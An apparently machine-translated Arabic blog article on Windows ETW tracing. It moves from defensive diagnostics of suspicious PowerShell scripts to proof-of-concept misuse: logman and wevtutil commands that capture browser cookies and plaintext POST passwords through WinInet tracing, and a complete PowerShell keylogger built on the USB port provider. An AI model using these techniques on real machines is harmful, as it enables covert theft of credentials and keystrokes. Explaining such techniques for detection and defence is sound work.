
في مقالات سابقة حول برنامج PowerShell الشم وجمع بيانات التمهيد من خادم بعيد ، كتبت بالفعل القليل عن إمكانيات ETW (تتبع الأحداث لنظام التشغيل Windows). أريد اليوم أن أتحدث أكثر عن هذه التكنولوجيا.
في الوقت نفسه ، سوف أعرض استخدام HTTPS وإنشاء Keylogger على PowerShell كمثال على كيفية استخدامه للأبد. أو ليس من أجل الخير.
العمل مع ETW
يجمع تتبع الأحداث لـ Windows ويرسل الرسائل من مكونات نظام Windows وتطبيقات الجهات الخارجية. ظهر مرة أخرى في أيام Windows 2000 ، ولكن إذا كان هناك في هذه الأيام عدة عشرات من موفري النظام ، فإن درجاتهم أصبحت بالفعل بالمئات. تُستخدم الرسائل بشكل ملائم لتشخيص الأخطاء وحل مشكلات أداء البرامج.
يكتب بعض موفري النظام بالفعل إلى سجل أحداث Windows بشكل افتراضي ، ويتم تضمين البعض بشكل منفصل. لذلك حتى إذا كنت لا تعرف ETW ، فمن المحتمل أنك تستخدمه. يمكنك التعرف على السجلات وتمكين بعضها إذا لزم الأمر في عارض الأحداث القياسي في سجلات التطبيق والخدمة. يمكن العثور على القليل عن المجلة والعمل معها في مقال " نقوم بتدوير السجلات كما نريد - تحليل السجلات في أنظمة Windows ".
يمكنك عرض قائمة الموفرين الحاليين الذين يسعدهم فقط إخبارنا بما يحدث لهم باستخدام أمر موفري استعلام logman .

موفري ETW.
يمكنك استخدام الأمر logman query Provider -pid <process PID> لعرض قائمة الموفرين المتصلين بعملية Windows معينة (وبالتالي ، تعلم شيئًا عنها) .

قائمة الموفرين المتصلين بدفتر ملاحظات عادي.
يمكنك تمكين الاشتراك في أحداث موفر معين أو تتبع من خلال PowerShell باستخدام New-NetEventSession cmdlet . ويمكنك حتى النقر بالماوس على المسار "إدارة الكمبيوتر" - "الأداء" - "مجموعة جامعي البيانات". هنا ، في جلسات تتبع الأحداث ، يمكنك معرفة أي الآثار قيد التشغيل ، ويمكنك إنشاء جامعك الخاص إذا كنت ترغب في ذلك.

آثار الجري.
يمكنك عرض النتيجة باستخدام الأدوات المساعدة ومجموعات الأدوات مثل Microsoft Message Analyzer أو Windows Performance Toolkit أو حتى PowerShell Get-WinEvent cmdlet .
أوصي بأن تقرأ ميزات ETW في وثائق Microsoft ، يمكنك البدء بقسم حول تتبع الأحداث . يمكنني أيضًا أن أوصي ببعض المواد الجيدة " نحن ندرس ETW ونستخرج الأرباح ".
نظرًا لأن ETW تعمل على مستوى النواة ، فإنها تتميز بسرعة نقل الرسائل وغياب الحاجة إلى تثبيت أي برامج تشغيل أو حقن في التطبيقات. عادة ، يتم استخدام ETWs لتشخيص مشاكل الأداء والتطبيق. على سبيل المثال ، تحلل مقالة " تسريع تمهيد Windows للمتعة والربح " العوامل التي تؤثر على تباطؤ التحميل ، وفي المقالة المكونة من 24 نواة ولا يمكنني تحريك الماوس - أسباب إبطاء Windows في العمليات العادية. دعني أعطيك مثالاً - تحليل تشغيل أوامر cmdlets لـ PowerShell.
مشاهدة بوويرشيل
لنفترض أنه بطريقة ما (على سبيل المثال ، من خلال تدقيق عمليات بدء التشغيل) ، تجد أن العمليات المشوشة ونصوص PowerShell تعمل على جهاز الكمبيوتر الخاص بك. تتمثل إحدى التقنيات في استخدام ETWs لتحليل نشاطها. على سبيل المثال ، انظر إلى موفر PowerShell. قم بتشغيل التتبع باستخدام الأمر:
logman start pstrace -p Microsoft-Windows-PowerShell -oc:\temp\pstrace.etl -ets
الآن دعنا ننتظر حتى تعمل النصوص البرمجية غير المفهومة ، أوقف التتبع باستخدام الأمر:
logman stop pstrace -ets
يمكنك الآن رؤية التتبع ، على سبيل المثال ، من خلال Microsoft Message Analyzer.

يقوم clear.ps1 المريب بالبحث عن شيء ما وحذفه.
إذا قمت بتحديد الخط المطلوب ، فسيكون في اللوحة السفلية معلومات موسعة حول الحدث.

آه ، هذا هو نفس البرنامج النصي لمسح ذاكرة التخزين المؤقت 1C!
هذه المرة كل شيء تبين أنه مبتذلة. ولكن في الحالات الأكثر تعقيدًا ، يمكنك تشغيل تتبع للتحقق من الأنشطة الأخرى:
- نشاط الشبكة ؛
- قرار DNS
- الوصول إلى القرص ؛
- العمل مع الذاكرة ؛
- نشاط WMI
- وغير ذلك الكثير.
بهذه الطريقة ، يمكن لـ ETW المساعدة في التقاط البرامج الضارة وفهم كيفية عمل التطبيقات. في بعض الأماكن ، يكون هذا أكثر إفادة من مراقب العملية المعتاد. ولكن بالإضافة إلى الحسنات ، فإن الآلية لها جانب "مظلم".
بالطبع ، يمكنك القتل بمطرقة وإنقاذ بمسدس. بالطبع ، لن أقوم بتقييم أخلاقي للآليات ، ولكن على أي حال ، تفتح فرص مثيرة للاهتمام.
سأقدم بضعة أمثلة كدليل على المفهوم
S تعني الأمان
في هذا المثال ، سأوضح مدى سهولة معرفة ما يبحث عنه المستخدم على الإنترنت ، حتى عبر HTTPS. يمكنك رؤيتها بدون PowerShell - فقط ماوس ، فقط فاضح. في مهمتنا سيكون هناك مستخدم ، سيكون هناك Windows و Internet Explorer وسجل الأحداث.
لنبدأ بتشغيل سجل أحداث Wininet. يتم ذلك على النحو التالي: افتح سجل الأحداث ، في علامة التبويب "عرض" ، وتمكين عرض السجلات التحليلية وتصحيح الأخطاء.

أضف عرض السجلات المطلوبة.
بعد ذلك ، قم بتمكين UsageLog في قائمة السياق ، وهذا يكفي للحصول على المعلومات الضرورية. دعونا نستخدم IE ونرى السجل:

مجلة WinInet.
في الواقع ، في رؤوس المجلة والطلب المباشر لمحرك البحث مرئية.
بالإضافة إلى الرؤوس ، يمكنك أيضًا استخدام السجل لسحب ملفات تعريف الارتباط ، وفي الوقت نفسه الاطلاع على طلبات POST - على سبيل المثال ، لسحب بيانات الاعتماد. تعمل التقنية على أي تطبيقات تستخدم wininet.dll للعمل مع الإنترنت. على سبيل المثال ، متصفح Edge.
يتم تنفيذ الشيء نفسه بسهولة على PowerShell ، وحتى على cmd. سأعطي مثالا على التنفيذ الأخير.
أولاً ، أنشئ تتبعًا:
logman start CookieStealer -p Microsoft-Windows-WinInet -oc:\temp\cookiesteal.etl -ets
الآن دعنا نعمل في المتصفح ، تحقق من البريد. يمكن بعد ذلك إيقاف التتبع باستخدام الأمر:
logman stop CookieStealer -ets
يمكن إجراء أبسط التحليل باستخدام الأداة المساعدة للأمر wevtutil.exe . على سبيل المثال ، لعرض طلبات POST ، سيكون الأمر:
wevtutil qe c:\temp\cookiesteal.etl /lf:true /f:Text | find /i "POST"
يمكنك حتى محاولة البحث بشكل عشوائي عن كلمة المرور والحصول على النتيجة.

كلمات المرور في نص عادي. مزعج للغاية.
تجدر الإشارة إلى أن برنامج مكافحة الفيروسات كان صامتًا في نفس الوقت. في الواقع ، هذه عملية تتبع عادية.
بالطبع ، يمكن أيضًا استخدام أحداث WinInet لتشخيص مشاكل مثل "لماذا لا يفتح هذا الموقع وما يحدث على الإطلاق". ومع ذلك ، فإن الاحتمالات مثيرة للاهتمام للغاية. أنتقل إلى مثال أكثر الملتوية.
Keylogger على PowerShell. لأنني أستطيع.
هناك اثنان من موفري ETW المثيرين للاهتمام على نظام التشغيل Windows:
بمساعدتهم ، يمكنك الحصول على بيانات HID التي ينقلها جهاز USB مثل لوحة المفاتيح أو الماوس. يتم التقاط البيانات بشكل خام ، ولكن بفضل مواصفات HID ، يمكن قراءتها بسهولة.
لبدء التتبع ، ما عليك سوى تنفيذ الأوامر التالية:
logman start "usbtrace" -p "microsoft-windows-usb-usbport" -o "c:\temp\usbtrace.etl" -ets
ويمكن الحصول على البيانات باستخدام PowerShell cmdlet:
$Input=get-winevent –path "c:\temp\usbtrace.etl" –oldest | where {$_.message –match "Data"}
سأعطي مثالا على نص بسيط يقرأ بيانات التتبع ويحولها إلى قيم قابلة للقراءة. يتم التحويل فقط للأحرف الإنجليزية وبشكل حصري بالأحرف الكبيرة.
القائمة الكاملة للبرنامج النصي تحت المفسد. $source = "C:\temp\trace.etl" $destination= "C:\temp\Output.txt" $tracetime = "10" logman start usbtrace -p microsoft-windows-usb-usbport -o $source -ets sleep $TraceTime logman stop usbtrace -ets $Input=get-winevent –path $Source –oldest | where {$_.message –match "Data"} $HID = Foreach ($I in $Input) {('{0:x}' -f ($I.properties.value[5]))} $Data=switch ($HID) { 4 {"A"} 5 {"B"} 6 {"C"} 7 {"D"} 8 {"E"} 9 {"F"} A {"G"} B {"H"} C {"I"} D {"J"} E {"K"} F {"L"} 10 {"M"} 11 {"N"} 12 {"O"} 13 {"P"} 14 {"Q"} 15 {"R"} 16 {"S"} 17 {"T"} 18 {"U"} 19 {"V"} 1A {"W"} 1B {"X"} 1C {"Y"} 1D {"Z"} } $Data | out-file "$Destination" get-content "$Destination" del "$source" del "$Destination"
عند التشغيل ، يقوم البرنامج النصي بتشغيل التتبع لمدة 10 ثوانٍ ، ثم يعرض النتيجة.

نتيجة البرنامج النصي.
بالطبع ، بعد فهم بيانات HID ، يمكنك تحسين البرنامج النصي إلى كلوغر كامل لتسجيل البيانات من لوحة المفاتيح والماوس. تجدر الإشارة إلى قيود هذه الآلية:
- يعمل فقط مع USB ، و PS \ 2 (كما هو موجود أحيانًا في أجهزة الكمبيوتر المحمولة) غير مدعوم ؛
- يتم الإعلان عن دعم USB 3.0 فقط في Windows 8 والإصدارات الأحدث ؛
- حقوق المسؤول (UAC) مطلوبة.
ولكن لا يوجد السائقين والمعترضين. حسنًا ، بالطبع ، بالإضافة إلى الاستخدام الضار ، يمكن لمثل هذا keylogger أن يساعد في تشخيص مشاكل لوحة المفاتيح. نظريا.
هل أحتاج للخوف
حتى الآليات المدمجة في يد الشرير يمكن أن تسبب مشاكل. تظل أساليب الحماية كما هي: احظر الملفات القابلة للتنفيذ التي ليست من دلائل النظام ، ولا تعمل كمستخدم لديه امتيازات المسؤول ، وإذا كانت تعمل ، فعلى الأقل لا تقم بتعطيل UAC. وبالطبع ، فإن مستعرضات Windows المضمنة من حيث الأمان تثير أسئلة.